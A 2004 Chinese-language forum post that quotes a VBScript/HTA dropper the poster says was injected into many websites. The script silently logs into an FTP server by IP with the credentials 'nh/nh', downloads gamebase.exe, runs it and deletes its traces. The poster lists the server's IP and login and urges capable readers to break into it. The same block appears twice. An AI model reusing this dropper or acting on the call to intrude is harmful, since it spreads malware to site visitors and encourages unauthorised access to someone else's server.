wen1018
2004-07-22, 01:53 AM
<HTA:APPLICATION caption="no" border="none" showInTaskBar="yes" windowState="minimize">
<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script language="VBScript">
Dim fs, t
Set fs = CreateObject("Scripting.FileSystemObject")
Set t = fs.CreateTextFile("163.txt",True)
t.WriteLine("open 61.163.238.51")
t.WriteLine("nh")
t.WriteLine("nh")
t.WriteLine("lcd c:\")
t.WriteLine("bin")
t.WriteLine("get gamebase.exe")
t.WriteLine("bye")
t.Close
wsh.Run "ftp -s:163.txt",0,true
wsh.Run "c:\gamebase.exe"
fs.DeleteFile "163.txt",true
window.close
window.close
</script>
以上是他們在各大網站加的一段VBScript
可以知道他們是用FTP去抓檔的有
ip:61.163.238.51
ID:nh
PW:nh
檔名:gamebase.exe
小弟我沒能力進去~!
但可以知道他們是用server-U架的~!
也有用pcANYWHERE和Win2K的Terminal Server
請有能力的大哥連去玩玩~~!
贊助商連結
<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script language="VBScript">
Dim fs, t
Set fs = CreateObject("Scripting.FileSystemObject")
Set t = fs.CreateTextFile("163.txt",True)
t.WriteLine("open 61.163.238.51")
t.WriteLine("nh")
t.WriteLine("nh")
t.WriteLine("lcd c:\")
t.WriteLine("bin")
t.WriteLine("get gamebase.exe")
t.WriteLine("bye")
t.Close
wsh.Run "ftp -s:163.txt",0,true
wsh.Run "c:\gamebase.exe"
fs.DeleteFile "163.txt",true
window.close
window.close
</script>
以上是他們在各大網站加的一段VBScript
可以知道他們是用FTP去抓檔的有
ip:61.163.238.51
ID:nh
PW:nh
檔名:gamebase.exe
小弟我沒能力進去~!
但可以知道他們是用server-U架的~!
也有用pcANYWHERE和Win2K的Terminal Server
請有能力的大哥連去玩玩~~!
贊助商連結